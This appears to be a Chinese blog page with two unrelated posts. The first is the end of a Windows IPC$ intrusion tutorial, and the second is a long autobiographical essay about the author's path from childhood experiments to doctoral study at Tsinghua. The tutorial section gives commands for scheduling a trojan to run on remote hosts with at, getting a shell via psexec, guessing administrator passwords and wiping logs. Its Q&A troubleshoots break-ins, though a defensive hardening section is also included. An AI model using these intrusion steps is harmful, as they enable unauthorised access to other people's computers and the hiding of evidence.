13 现在我们用at运行它吧,不过对方一定要开了Task Scheduler服务(允许程序在指定时间运行),否则就不行了
C:\>at \\192.168.21.* 11:02 c:\love.exe
新加了一项作业,其作业 ID = 1

14 剩下就是等了,等过了11:02,你就可以用控制端去连接了,如果成功你将可以用图形界面去控制远程主机了,如果连接失败,那么它可能在局域网里,也可能程序被防火墙杀了,还可能它下线了(没这么巧吧),无论哪种情况你只好放弃了

嗯,好了,两种基本方法都讲了。如果你对上面的操作已经轻车熟路了,也可以用更高效的套路,比如用CA克隆guest,用psexec执行木马,用命令:psexec \\tergetIP -u user -p paswd cmd.exe直接获得shell等,这些都是可以得,随你的便。不过最后不要忘了把日志清理干净,可以用榕哥的elsave.exe。
讲了ipc$的入侵,就不能不说如何防范,那么具体要怎样做呢?看下面
十三 如何防范ipc$入侵

1 禁止空连接进行枚举(此操作并不能阻止空连接的建立)

方法1:
运行regedit,找到如下主键[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA]把RestrictAnonymous = DWORD的键值改为:1
如果设置为”1″,一个匿名用户仍然可以连接到IPC$共享,但限制通过这种连接得到列举SAM帐号和共享等信息;在Windows 2000 中增加了”2″,限制所有匿名访问除非特别授权,如果设置为2的话,可能会有一些其他问题发生,建议设置为1。如果上面所说的主键不存在,就新建一个再改键值。

方法2:
在本地安全设置-本地策略-安全选项-在’对匿名连接的额外限制’中做相应设置

2 禁止默认共享

1)察看本地共享资源
运行-cmd-输入net share

2)删除共享(重起后默认共享仍然存在)
net share ipc$ /delete
net share admin$ /delete
net share c$ /delete
net share d$ /delete(如果有e,f,……可以继续删除)

3)停止server服务
net stop server /y (重新启动后server服务会重新开启)

4)禁止自动打开默认共享(此操作并未关闭ipc$共享)
运行-regedit

server版:找到如下主键[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters]把AutoShareServer(DWORD)的键值改为:00000000。

pro版:找到如下主键[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters]把AutoShareWks(DWORD)的键值改为:00000000。
如果上面所说的主键不存在,就新建(右击-新建-双字节值)一个主健再改键值。
这两个键值在默认情况下在主机上是不存在的,需要自己手动添加。

3 关闭ipc$和默认共享依赖的服务:server服务
控制面板-管理工具-服务-找到server服务(右击)-属性-常规-启动类型-选已禁用
这时可能会有提示说:XXX服务也会关闭是否继续,因为还有些次要的服务要依赖于lanmanserver,不要管它。

4 屏蔽139,445端口
由于没有以上两个端口的支持,是无法建立ipc$的,因此屏蔽139,445端口同样可以阻止ipc$入侵。

1)139端口可以通过禁止NBT来屏蔽
本地连接-TCP/IT属性-高级-WINS-选‘禁用TCP/IT上的NETBIOS’一项

2)445端口可以通过修改注册表来屏蔽
添加一个键值
Hive: HKEY_LOCAL_MACHINE
Key: System\Controlset\Services\NetBT\Parameters
Name: SMBDeviceEnabled
Type: REG_DWORD
Value: 0
修改完后重启机器

注意:如果屏蔽掉了以上两个端口,你将无法用ipc$入侵别人。

3)安装防火墙进行端口过滤

5 设置复杂密码,防止通过ipc$穷举出密码。

[page]
十四 ipc$入侵问答精选

上面说了一大堆的理论东西,但在实际中你会遇到各种各样的问题,因此为了给予大家最大的帮助,我看好几个安全论坛,找了n多的帖子,从中整理了一些有代表性的问答,其中的一些答案是我给出的,一些是论坛上的回复,如果有什么疏漏和错误,还请包涵。

1.进行ipc$入侵的时候,会在服务器中留下记录,有什么办法可以不让服务器发现吗?

答:留下记录是一定的,你走后用程序删除就可以了,或者用肉鸡入侵。

2.你看下面的情况是为什么,可以连接但不能复制
net use \\***.***.***.***\ipc$ “密码” /user:”用户名”
命令成功
copy icmd.exe \\***.***.***.***\admin$
找不到网络路径
命令不成功

答:可能有两个原因:
1)你的权限不够,不能访问默认共享;

2)对方没有开启admin$默认共享,不要认为能进行ipc$连接,对方就一定开了默认共享(很多人都这么以为,误区!!),此时你可以试试别的默认共享或普通共享,比如c$,d$,c,d等,如果还是不行,就要看你的权限了,如果是管理员权限,你可以开telnet,如果能成功,在给它开共享也行。

3.如果对方开了IPC$,且能建立空联接,但打开C、D盘时,都要求密码,我知道是空连接没有太多的权限,但没别的办法了吗?

答:建议先用流光或者别的什么猜解一下密码,如果猜不出来,只能放弃,毕竟空连接的能力有限。

4.我已经猜解到了管理员的密码,且已经ipc$连接成功了,但net view \\ip发现它没开默认共享,我该怎么办?

答:首先纠正你的一个错误,用net view是无法看到默认共享的。既然你现在有管理员权限,而且对方又开了ipc$,建议你用opentelnet.exe这个小程序打开它的telent,在获得了这个shell之后,做什么都可以了。

5.ipc$连接成功后,我用下面的命令建立了一个帐户,却发现这个帐户在我自己的机器上,这是怎么回事?
net uset ccbirds /add

答:ipc$建立成功只能说明你与远程主机建立了通信隧道,并不意味你取得了一个shell,只有在获得一个shell之后,你才能在远程建立一个帐户,否则你的操作只是在本地进行。

6.我已进入了一台肉机,用的管理员帐号,可以看他的系统时间,但是复制程序到他的机子上却不行,每次都提示“拒绝访问,已复制0个文件”,是不是对方有什么服务没开,我该怎么办?

答:不能copy文件有多个可能,除了权限不够外,还可能是对方c$,d$等默认管理共享没开,或者是对方为NTFS文件格式,通过设置,管理员也未必能远程写文件。既然你有管理员权限,那就开telnet上去吧,然后在开它的共享。

7.我用Win98能与对方建立ipc$连接吗?

答:不可以的,要进行ipc$的操作,建议用win2000

8.我用net use \\ip\ipc$ “” /user “”成功的建立了一个空会话,但用nbtstat -A IP 却无法导出用户列表,这是为什么?

答:空会话在默认的情况下是可以导出用户列表的,但如果管理员通过修改注册表来禁止导出列表,就会出现你所说的情况;或者你自己的NBT没有打开,netstat是建立在NBT之上的。  

9.我建立ipc$连接的时候返回如下信息:‘提供的凭据与已存在的凭据集冲突’,怎么回事?

答:呵呵,这说明你与目标主机建立了一个以上的ipc$连接,这是不允许的,把其他的删掉吧:net use \\*.*.*.*\ipc$ /del

10.我在映射的时候出现:
F:\>net use h: \\211.161.134.*\e$
系统发生 85 错误。
本地设备名已在使用中。这是怎么回事?

答:你也太粗心了吧,这说明你的h盘正在使用,映射到别的盘符吧!

11.我建立了一个连接f:\>net use \\*.*.*.*\ipc$ “123″ /user:”ccbirds” 成功了,但当我映射时出现了错误,向我要密码,怎么回事?
F:\>net use h: \\*.*.*.*\c$
密码在 \\*.*.*.*\c$ 无效。
请键入 \\*.*.*.*\c$ 的密码:
系统发生 5 错误。
拒绝访问。

答:呵呵,向你要密码说明你当前使用的用户权限不够,不能映射C$这个默认共享,想办法提升权限或者找管理员的弱口令吧!默认共享一般是需要管理员权限的。

12.我用superscan扫到了一个开了139端口的主机,但为什么不能空连接呢?

答:你混淆了ipc$与139的关系,能进行ipc$连接的主机一定开了139或445端口,但开这两个端口的主机可不一定能空连接,因为对方可以关闭ipc$共享.

13.我门局域网里的机器大多都是xp,我用流光扫描到几个administrator帐号口令是空,而且可以连接,但不能复制东西,说错误5。请问为什么?

答:xp的安全性要高一些,在安全策略的默认设置中,对本地帐户的网络登录进行身份验证的时候,默认为来宾权限,即使你用管理员远程登录,也只具有来宾权限,因此你复制文件,当然是错误5:权限不够。

14.我用net use \\192.168.0.2\ipc$ “password” /user:”administrator” 成功,可是 net use i: \\192.168.0.2\c
出现请键入 \\192.168.0.2 的密码,怎么回事情呢?

答:虽然你具有管理员权限,但管理员在设置c盘共享权限时可能并未设置允许administrator访问,所以会出现问题。

15.如果自己的机器禁止了ipc$, 是不是还可以用ipc连接别的机器?

答:可以的。

2005年10月09日

清华梦的诞生

小时候,妈妈给我一个梦。她指着一个大哥哥的照片对我说,这是爸爸的学生,他考上了清华大学,他是我们中学的骄傲。长大后,你也要进入清华大学读书,为我们家争光。我不知道清华是什么样子,但是我知道爱迪生和牛顿的故事。清华,大概就是可以把我造就成他们这种人的地方吧。我幼小的脑海里就想象出我能在清华做的事情……我的脸上浮现出笑容。我说我要实现这个“清华梦”。这就是清华梦的诞生。

小小科学家

我相信每个人在小时候都跟我差不多,对这个世界充满了好奇。

鲁迅有他的百草园,我也有我自己的"实验田"。如果说小时候的鲁迅是一个艺术家,那么小时候的我就是一个科学家。这么说可能有人要说我口气太大,张口闭口就是这家那家。然而在我的字典里,"艺术家"和"科学家"并不是什么了不起的人,它们只是贴在人内心的一个标签。如果一个小孩专注于内心对世界的感觉,那么他就是一个艺术家。而我不是。我的大部分兴趣是在了解世界是怎样运转,甚至不惜代价。也许大部分男孩子都是这样。

我小时候住在父母执教的中学里。两间平房,门口有一小块地,妈妈在里面种了一些菜。我们一家三口虽然穷,但是过着宁静舒适的生活。我们在这个地方一直住到上初中的时候。这些房屋记录着一个年幼的科学家的探索和实验,直到它们被夷为平地。

妈妈拒绝让我养猫狗,她说凡是会拉屎的都不养—除了我。所以我小时候就喜欢与蚂蚁作伴。我总是试图用各种各样的办法去了解蚂蚁的生活习性。我可以一整天的观察我家屋檐下的蚂蚁来来去去。看见他们用触须碰一碰,然后各自分头走开,我就会想它们到底说了什么。我在想,能不能用一种方法解开蚂蚁语言的密码。我从书中得知蚂蚁洞里有蚁后,她有很大的肚子。为了一睹芳容,我开始试图水漫金山,把水往蚂蚁洞里灌。我有时一个下午就干这种事情,却没有一次成功看到蚁后。后来才知道蚂蚁是如此精明的下水道工程师,水大部分都渗到地底下去了。可是我不甘心,我开始试用别的办法。比如在洞口放一块糖。可是蚁后架子太大,终究不肯出来,让别人帮她送饭进去。

有人说,这个世界最后不是毁在疯子手上,就是毁在科学家手上。世界上如果只有科学家是很可怕的,比如他们会发明高效的杀人武器。我发现疏松的棉絮可以迅速的燃烧,就想出一种惨绝蚁寰的大屠杀实验。我先把糖水滴在地上,等蚂蚁把那个地方围个水泄不通的时候,铺上棉花,点火……现在想起那些勤劳的小黑头都变成灰烬,我仍然心惊肉跳。他们的灵魂会来找我报复吗?后来这个实验有一个升级的版本用的是浸泡过一种化学药品溶液的纸,文火燃烧,由于燃烧速度慢,杀伤力不大,这个实验可以测试蚂蚁的逃跑路线。我还用活蚂蚁进行过心理实验。首先用破袜子摩擦塑料尺产生静电,然后放在一只正在行走的蚂蚁身后不远处。蚂蚁走不动了,我就开始推测它在想什么,它感觉到什么。它可能会觉得有外星人?但是由于尺子拿开以后,它若无其事继续走,我猜它只是有点纳闷,而不惊慌。但是反反复复几次之后,它明显有罢工的意思,似乎忘了自己要去干什么。后来我又发现蚂蚁被吸到塑料尺上之后会由于带上相同的电荷而被"发射"出去,就像人间大炮一样。注:"人间大炮"是日本电视剧《恐龙特急克塞号》里的一种可以把人当作炮弹发射的威力很大的电磁装置。

一点微小的发现,就可以引发大量的探索和实验。这就是我在那个年代的特点。虽然妈妈也逼着我练习书法,绘画,还多次获奖,但我不喜欢这些东西。我似乎生下来就是科学家,不是搞艺术的,不过也许只是妈妈的强迫让我反感了艺术而已。物理是我最喜欢的,因为它让我了解到世界的奥秘。我一般开学前几天就会把物理书上的实验都挑出来,费尽辛苦找到材料实践一番,心里美滋滋的。上学真是快乐!

失之交臂

上了高中,由于课业的压力,我的生活逐渐改变了。为了考上清华大学,我努力的学习。抛下我的毛笔,抛下我用来做实验的蚂蚁,电池和线圈,抛下除了考试科目的一切。在老师眼里我是一个听话的好学生,在妈妈眼里我是一个听话的好孩子。每天早上按时起床,吃一大碗妈妈做的面(为了补充一上午学习需要的体力),然后冲进教室,按照预设的程序开始读书,做练习题。似乎一切都有条不紊,顺利进行。可是……

忽然有一天我发现,我的一切活动都是在纸上进行的,看书,做习题。试卷和复习书让我变得变得麻木。我想这样下去我就不再像爱迪生和牛顿了。于是我开始调皮起来。我不但要做考试的题目,还要做更难的题目。做了物理奥林匹克的题目,接着就想看大学的物理书,接着就想恢复我小时候的实验的爱好。老师辅导自习时经常被我缠住问一些不着边际的问题,那其实是我在实验中发现的问题。终于有一天,在我要求他跟我合作制造一个磁悬浮陀螺的时候,他显示出了不耐烦:“王垠,你让我先回答别的同学的问题好不好?你的问题对考试没有好处。” 我呆住了,启发我让我爱上物理的人,尽然对我说出这样的话。后来想一想,他也是无奈啊,不过我从此再也不想问他任何“超纲”的问题。

高二的时候妈妈就拿回一份前一届的高考题让我做,我随手一做就得了一个当时可以考上清华的成绩。我的心里想,清华我来了。明年的这个时候,我就会拿到录取通知书了!从此我就不再把高考放在眼里。我开始钻研越来越难的题目,进行越来越离谱的实验。我想,清华里面应该都是我这样的学生吧,我会有很多志同道合的朋友。

可是我的行为总是受到老师的压制,他们要把我们变成考试的机器。他们告诉我,沉下心来做习题,考试才能有把握。妈妈也帮着老师劝导我。看,一班的某某某这次模拟考试数学成绩比你高,多努力一下吧。我哪里听得进去,我才不在乎这点分数,我能解决更难的问题,老师都没法解决的问题。我开始有了逆反心理,开始早上懒床,装病请假不去上课。班主任,校长多次找我谈话,说我要沉下心来准备考试云云。但是我根本就听不进去,我讨厌高考,觉得他们这样出题不合理。然后我就有了心理疾病,大概是强迫症。高考语文的时候我居然怀疑监考老师认为自己在作弊,接着好像真的怕被抓住了一样,手发抖,头冒汗。然后我又想要是考不好,以前的优秀会不会也被人怀疑?他们会不会以为我以前的成绩全都是作弊得来的?手就抖得更厉害了。这时候,监考老师可能发现了我的情况,真的走了过来,站在我身后。害得我好几分钟不敢写一个字,因为手已经完全不听使唤。不过他还是走开了,这可怕的高考终于结束了。

我们是考试前填的志愿,我根本不考虑其他学校就只填了清华。后来妈妈研究了一下,帮我添了一个天津大学在第二志愿。以下的志愿全部空白。大家觉得我真够大胆,可是我的心理状态让我发挥完全失常,比清华的最低分数线还差两分。特别是语文,才96分。天津大学第一志愿收满不要我。昔日的好学生,居然到了落榜的下场。我真的那么好吗?我问自己。我太骄傲,才落到如此地步吧。我开始怀疑自己是否应该那样瞧不起高考。看着爸爸的愁眉苦脸,妈妈的唠唠叨叨,真是生不如死。复读吗?那会是噩梦的继续。我不能再在这个学校待下去。再面对题海,我的心理疾病会让我自杀的。碰巧四川大学来招收高分落榜的学生,还给了我随便选择专业的机会。妈妈说,计算机现在很火热,出来好找工作。我虽然对工作不感兴趣,但是我比较喜欢写程序,于是就进了川大计算机系。

两度退学失败

不能不说进川大是个没有选择中的好选择。大学生活自由一些,我至少不会走上自杀的道路。可是我的毛病仍然在继续,我永远不满足学校里能学到的那么点东西。老师基本是照本宣科,我逐渐不再满足这种知识灌输式的教育。

川大的环境我实在无法忍受。军训的时候就发现很多同学是靠关系进来混的,同宿舍还有人自称黑社会。我觉得来错了地方,就想退学。我们的军训是在一个戒备森严的炮兵基地里,心里的苦向谁说啊!有一天我们正在路上齐步走的时候,我忽然看到一个女人挽着一个军官走了过来。那个军官的老婆怎么长的这么像我妈妈!要是妈妈来到我身边该多好!没想到回到营地,团长说有人来探访。我走过去,居然发现是妈妈!因为听说我想退学,她急忙向学校打听了军训的地点,几经周折跑过来,是那个军官带着她混进来的。我想我妈妈要是转行当间谍一定会很出色。她说已经帮我办了退学,学校同意了,回去好好复习,准备考上清华…… “好好复习,好好复习”……我的脑海里又浮现出高三的情景。脑子一阵疼痛之后,我说:“妈妈,我不想退学了。”

可是军训回到学校,发现宿舍如此差劲,后来还有人惹了外面黑道的人,别人找上门来打架。我又想退学。妈妈又来帮我办理手续,可是结果我还是由于懦弱反悔了。害得学校办事的老师都骂我:“你这个人简直神经病!” 对啊,我确实是有病,不过我的是精神病,不是神经病。我恨我的高中,我恨我的大学,我恨高考,我恨中国的教育!是你们让我生病的。可是妈妈,她为了我已经费尽了辛苦。我不能再这样周折下去。我自己在学校里好好努力,准备考上清华的研究生吧。

又经过好多麻烦事,我终于决定在校外去租房子住。后来我开始玩滑板,它让我变得勇敢。我心里逐渐平静下来,可以用心看书了。大二以后,我的学习生活才逐渐进入正常,自信开始恢复。

梦的复苏

记得川大教Pascal语言的老师第一堂课就对我们说:“我们学校就是落后啊。外面公司里都用C, C++了,我们还在教Pascal。你们以后要出去工作恐怕还是得学学VC什么的。” 于是有的同学开始抱起一本本像“XXX圣经”之类的书开始学习,上数学课也在看这些东西。我当时自愧不如啊。自己就是小学的时候玩过一下学习机,可以说没有任何计算机基础。辅导员也经常夸他们几个动手能力强,以后公司就需要这样的人。他们出口就是Bill Gates, 世界首富……军训的时候听着他们说什么DOS, 温95,我就只有张着嘴崇拜的份了。才想起我高中计算机竞赛的时候一道有关DOS命令的题没有做出来,现在听他们说才知道原来DOS是个“操作系统"。那操作系统又是什么,他们说每个电脑上都必须有一个操作系统……我真是愧不如人 -_-!

正在我决定鼓起勇气后来跟上,准备拿起一本DOS大全从头啃起的时候,一次偶然的机会我接触到了Linux。后来又因为The Art of Computer Programming,接触到了Knuth。我才发现,好多课程上讲的那些东西原来如此低级。有些东西学了就过时,学它干吗?我并不比别人落后多少。我一再的思考,什么是计算机科学?是什么让我们计算机系的人不同于其他系的。我有时候认为有了答案,但是后来答案又被我自己推翻。在思想的混乱中,我发现我逐渐摆脱了旁人的标准。我自己学会了Linux,学会很多种当时别人听都没听说过的计算机语言。我开始发现学习再多的语言也没有意义,我应该想办法发现它们本质的共同点,想设计一种完美的简单的语言。我学会了LaTeX,用来排版我的作业和本科论文,还设计了一个标记语言和一个程序,帮我爸爸自动排版出非常漂亮的英语试卷。我接触到MMIX这种先进而漂亮的处理器,还因为找出Knuth书里的错误得到两张支票和一些礼物。这并不是什么值得炫耀的,但是这给我对计算机的兴趣很大鼓舞。

我开始发现学校的课程是僵化的,过分重视知识的学习,而没有从一个创造者的角度来看问题。有些东西,比如8086汇编语言,完全没有必要学习,那是设计很糟糕的处理器,后来我才知道很多德国大学已经用MMIX取而代之。有些同学说你别在意这些,哪种处理器汇编语言都差不多,Intel也是有历史包袱。既然是历史包袱,我们学它干什么?我那时总是从一个处理器设计者的角度来看问题,想改变我认为不合理的东西。我喜欢简单又漂亮的东西,它们给我美感。我学程序语言的时候就觉得C语言,C++里面包含太多没有必要的复杂,就想自己设计一种语言;学操作系统的时候就觉得UNIX还不够一致和完美,就想自己设计一种操作系统。但是老师总是要把一些不合理的东西当作真理一样放在试卷里,不答对就不能得分。所以我上课要不就逃掉,背地里拿着大部头的“龙书”之类的原版英语书啃。要不就看我打印出来的网上的一些资料,几乎不听老师讲。期末划重点的时候也不去,考试就考个八九十分,总有几个女生排名在我上面。不过我不在乎这点分数,考试和分数不再能评价我。同学们大概都觉得我是一个怪人,后来毕业了我才听他们说,他们管我叫“怪才”。我如此努力的学习着,对别的事情充耳不闻。我只有一个目的,就是毕业就离开这个鬼地方,进入清华大学上研究生。虽然大家不理解我在干什么,清华的老师应该挺在乎我学的东西吧。

可是我没有想到,在我死啃书本的时候,我的创造力正在离我远去。在我盲目接受貌似高深的材料的时候,我失去了自己的创造。我成了比别人稍微好一点的技术工人,不再跟爱迪生和牛顿是一类人了。我高中的时候拼命想保存的创造力已经在苦读之下消失殆尽。我看书的方式变得顺序化,总想从头看到尾。中国教育的目的,终于快达到了。

清华,我来了

大三的暑假,我来到清华想拿一些考研的资料。这是我梦中的地方呀,美丽的校园,比川大要大上好多倍吧,脚都走痛了才走到招待所。去系办,一个办事员态度很不好的给我一份资料。哎,学校好,人脾气就该大啊。忍了吧,要是真能考进来就好了。

后来听一个老师说清华有一种学生叫“直博”,可以硕博连读,五年拿到博士学位。只要面试通过就可以进来学习。我心想这种方式好啊,我平生最讨厌的就是考试了。出高考题的那帮人,他们有什么资格考我!考研资料也是遍地飞。写了几本复习材料就自称什么“一代名师”,我最看不起这种人了,就会赚钱。我如果可以获得“直博”的名额,就可以永远摆脱他们了。想一想,要是硕士三年,博士三年,就要六年。现在五年就可以拿到博士学位,还不用考试,真是太好了。可是我又有什么资格获得清华的直博?我在川大从来没听说过这种东西。

于是我就开始打电话联系老师,跟他们谈谈。面对他们的眉头,面对他们的笑脸却无可奈何的说“没有名额”,我都感觉没什么希望了。一个院士甚至对我说:“你们四川大学是什么学校?二流都算不上,最多算个三流大学。你怎么能来我这里!” 我深受打击,可是我还是没有放弃。最后我找到了一个老师,我们一开始就谈的挺投机。他听说我喜欢Knuth的书,挺高兴的说,哦我知道他,好多年前来我们这里做过报告呢。我终于觉得找到了知音,于是决定就跟着他学习。老师找好了之后还有一个面试,是别的老师参加的,我说什么他们似乎没有认真听,就一个劲看我的考试成绩。

最后老师只开玩笑似的对我的体育成绩提出了疑问,说你怎么才80多分?你的身体能不能胜任繁重的学习任务啊?我笑着回答,我每天还跑5000米呢。面试就这样通过了。

推荐信与散伙饭

面试通过后回到学校还要办一些手续。成绩单,推荐信等等,跟申请外国大学研究生院差不多,让我感觉挺正规的。院长对我挺好的,同意帮我签推荐信。可是签完字之后他对我说:“你别以为他们觉得你是个人才。他们是根本招不到人!他们那里像你这样的学生都出国了。谁想读博士啊?你别太高兴了。” 我笑着应付这突如其来的打击,在心里却不断为自己的选择辩护。清华一定是好样的,不会让我失望。它是我的梦啊。

很多麻烦的手续之后,终于拿到了我梦想的大学的录取通知书,可以离开川大这个鬼地方了。毕业的散伙饭上,我默默地想象着即将到来的清华的快乐生活,暗自庆幸。散伙饭到了尾声的时候,一个平时不太熟悉的同学拿着一杯啤酒走过来。我挺紧张,我最不喜欢别人给我敬酒了,说是客气,其实很虚伪。没想到他说:“我敬你一杯,大牛人。听说你被清华大学录取作了博士。我干了,你随意。” 我不知如何回答,我一向不知如何应付别人的恭维。还好他没有让我也干杯,我觉得他够朋友。没想到喝完他接着说:“我知道你是怎样的人。我很仰慕你,你是真正喜欢研究的人。可是我要告诉你,清华的人并不会比我们好多少。大部分人也只是想混一个学位,将来找个好工作。没有多少人可以跟你一起研究的,你去了必定很孤独。我就很奇怪你这样的人怎么不出国呢!你会后悔的。”

我虽然佩服他直言不讳,但还是有点不高兴了。一个人说你的选择是错误的,你的反应是什么呢?反正我当时为我的“清华梦”作了一番辩护,说我进去自己好好研究,应该还是能够很好的,毕竟这是我从小的梦啊。可是没想到,他说的居然是对的,我现在开始感谢他了。

计算几何,创造力的复苏

清华还是一样的上课方式,大部分课也是很多人一起上,一起打瞌睡。老师也是照本宣科,我居然发现他们其实跟川大的老师没什么区别。我从本科师弟那里了解到,计算机系本科的课程设置还是一样有好多没必要学的东西。清华的不同之处就是,一到考试的时候原来进行的娱乐活动都不见了人影。原本每天晚上都有人一起玩轮滑,考试的时候就只剩下我孤零零的一个人。因为大家都怕考试,开始熬夜复习了。上课也不容易逃课了,有些老师会突然点名,缺席会严重影响最后的成绩。

对于博士生,传说还有一个规定,那就是后10%淘汰。也就是说,不管你成绩如何,如果成绩排名在课程的后10%,那么就要重修。而如果两门功课重修,就会被开除。面对如此残酷的规定,很多同学都惶惶不可终日。我就是在隔壁同学的唠叨声中度过了第一期。不过我还是没有把考试当回事,所以我也没有去验证这个说法的官方真实性。我仍然不去听老师划重点,我仍然不觉得老师出的题目有什么好,我仍然讨厌有人让我们用手算矩阵。可能觉得太残酷,还是觉得要是开除了博士生谁来干活,这条规定后来改成了如果博士生上了80分就可以不重修。

但是我的生命中出现了这样一门课程。它改变了我对老师的看法,让我觉得上课原来也可以如此有趣。这就是计算几何。上课的人很少,只有十来个人。因为听说这门课很难,很多同学都没有选,但是我就是那种知难而进的人。老师上课的方式跟别的课程很不一样,大家坐在一个小教室里,老师有精美的幻灯片,有动画,不时还插入一段大科学家,大哲学家的名言。有一次老师讲前美国数学会长 Graham 的故事,他居然同时也是国际杂耍联合会主席,我才发现一个科学家也可以那么有趣。上课时老师会停下来很多次让学生提问题,下课大家都积极踊跃的讨论新奇的问题。课程的评分方法也很特别,平时成绩占到30%的分量,作业分为几种分值,可以自己选择做不做,作业的总分数乘以30%,加上最后大作业的分数乘以70%,就是最后的得分。我有一次因为没来得及按时交作业,后来发现作业的题目很有趣,就对作业要求的算法写了一个详细的分析,还花了一整夜写了一个算法演示程序交上去,老师也接受了这个迟来的作业。后来我的作业分数就大大超出了所要求的30分。说真的,这门课太有趣了,我就只逃过一次课。但是还是有时候人数不到一半,因为其他课程压力太大,有人都去复习别的课程了。但是老师从来不点名,还对逃课的同学表示同情。还问我们在座的有没有其他课特别紧张的,下次课可以不来。真是让人感动。

我就是在这门课上认识了王益,我们亲密无间的合作,让我领略到了什么叫做研究。大作业的时候我们在一个小组,其实是三人一组,但是那第三个人其实什么也没干。我和王益决定写一个3D的Voronoi图扫描算法演示程序。王益的3D图形编程能力很强,所以他做界面,由我负责算法生成数据作为后端。我们分别在自己的机器上编写程序,不时的打电话讨论接口的设计问题。我找到了Bell labs 的 Steven Fortune 的算法程序,决定看懂它,然后改造成演示需要的分部运行的算法。但是 Fortune 的程序几乎没有注释,而且使用了一种奇怪的数据结构,很难理解。Fortune 还在程序里说到,这个算法虽然有效,但是对于程序员来说是一个挑战。所以我email请他给我一份算法论文的拷贝,他同意了。但是一个月之后,信才到我手里,那时我们已经完成了作业。因为我花了一个星期看懂了他的程序,还换掉了他的麻烦又低效的数据结构。随后成功的把后端与王益的前端设计好接口联合。等我看到 Fortune 的论文,发现程序里面其实已经改进了论文的核心内容。其中的parabolic transformation其实完全没有必要实现。我深深体会到实践的重要性,也许先有了他的论文我反而会被误导,写不出实际可以运行的程序。

由于我们的团结努力,老师对我们的大作业非常满意,他给了我们最高的分数 100。由于我们两个都在课下超额完成作业,所以总的分数我们两个都是满分。这是我阔别已久的100分。只有在小学我才拿到过这种分数啊!对于一个对考试成绩满不在乎的人,100 又意味着什么?如果是别的课程我会毫不在乎,就像我得了80分一样。可是这个100分是我们团结研究而来的,它包含了对我们的合作意识,对我们的友谊,对我们的热情的肯定。虽然我觉得我们的东西还有改进的余地,但是我接受这个100分!也只有这样的课程,我才可能得100分。

从此我感觉到了什么叫做研究。这跟我小时候干的那些事情没有什么两样。你在身边发现一个问题,想知道为什么。然后你就想去获得解决这个问题的知识。你去看书,你去问专家,你上网去搜索。如果没有发现答案,那么好啦,你就可以自己试图去发现为什么,这是最有趣的部分。知道了为什么,就想让这个东西有用处,对人们的生活产生好处。这就是研究。

我们也有讨论,原来是这个样子

上完课,就该开始搞研究啦。可是研究什么呢?老师给我几篇论文看,意思是让我看看有没有什么想法。

我开始感觉没有头绪,就跟导师说能不能找师兄师姐跟我讨论讨论,还有别的人在做这个吗?他说,就你一个人做这个,每个人做一个题目,独立思考,这就是研究。我觉得是啊,我应该独立思考。可是过了一段时间发现不行啊,虽然自己实践很重要,可是讨论是发现和产生问题的关键。没有讨论,连什么问题值得解决可能都搞不清楚。有一个Princeton的博士生在做完报告时说:“我很幸运。我的老师是一个很好的导师。我上次拿了两个问题,不知道该做哪一个。他指着其中一个说,你就做这个,我感觉这个能很快做出来。最后证明他是正确的,另一个是块难啃的骨头,没有价值。在研究初期,这种指点是非常重要的。我逐渐也有了这种直觉,能够找到有价值的问题了。”

后来我就经常上网看看国外的大学怎么搞研究,发现他们都有 seminar,讨论组。他们经常在一个地方喝茶,讨论问题,争得面红耳赤,回家分头思考,做实验,第二天喝茶时再讨论。那就是我从小梦寐以求的生活啊!计算几何课已经让我爱上了与人合作和讨论的方式,现在却孤零零一个人了。我必须告诉导师,合作和讨论是非常重要的。在我据理陈述之后,他说:“好吧。反正师兄师姐各自有自己的事,你要讨论什么就跟我和你副导师讨论吧。” 于是我就开始了跟他们两个星期一次的见面讨论。每次讨论都感觉他们不知道我在说什么,他们心里想的都只是这个能比别人的好多少呢?能不能投到这个会议呢?如此宏观。我觉得跟他们讨论完全是浪费时间。

后来课题逐渐有了新的同学加入,导师决定跟中科院数学所的人一起申请一个项目来研究。于是我们每两个星期去中科院讨论。中科院的老师觉得他们的研究太理论,期望我们能给他们带去一点实际的东西。可是我们也没有什么实际的东西,所有的问题都是从别人的paper里看到的。副导师就开始跟他们说这个问题有多么多么重要…… 他们也借此机会开始研究以前放下的一些问题。总之讨论的感觉就是没有目的,没有主题。很多时候就是一个人看了一篇别人的paper之后做一个感想。有一次副导师不明白一个很基础的东西,我们耐心的给他讲。过了几个星期,他又在讨论上对同样的问题搞不明白。我觉得跟他解释那些完全就是浪费时间,他的心思不在那上面,他只是告诉中科院的老师我们这个领域那些会议要开始投稿了,你们是不是准备一些论文?中科院的老师也很诧异,我们这领域的会议的费用比他们的会议高很多,他们不大愿意投稿。当一个师弟讲的我们昏昏欲睡时,我坐在那里就在想,我们到底在干什么?我们讨论了这么久都不知道什么东西值得研究,还研究什么?后来师弟师妹们就开始考虑把问题变一变,看看能不能产生新的问题。他们的做法,我跟他们开玩笑说就是“有问题也要解决;没有问题,制造问题也要解决!” 他们笑着点点头,“本来就是这样嘛,没办法啊。混毕业了出国我们就不搞这个了。”

博士生论坛的时候,同学们都觉得有类似的问题,讨论不足,交流不足。所以我提议成立一个类似国外大学的 Common Room,用来讨论问题。可是大部分老师说:“这样一个房间,天天都要有那么多人在里面待着。谁来出这个钱?” 是啊,老师自己的办公室都要钱,哪里可能有什么 Common Room?就算有了 Common Room,在里面讨论的无非还是文章发到哪里的问题。制度决定了行为,我的设想太理想化了。

分析一下,为什么很多老师不提倡讨论呢?因为问题是有限的。老师辛辛苦苦这么多年搞来搞去都在搞这些问题,分配给你们每人一个,互不冲突。要是两个人都搞一个问题,这下好了。出了成果论文归谁?学校要求必须第一作者才算论文数。要是两个人都写论文,那么投到同一个会议肯定有一个要被reject。这样对集体发展不利嘛,大家不就是发几篇论文混毕业吗?何苦?

paper, paper, 还是paper

说到paper我就痛心。我的方向上我至今还没有看到几篇我觉得像样的文章。我主要进行集成电路布线算法的研究。看起来高深,其实是很简单的问题,一个平面上有一些点是电路里的电极,现在需要用铜线把它们连起来,怎么样让连线的长度或者时延最短?这个问题跟几何上一个有名的问题 Steiner 树问题有关系。

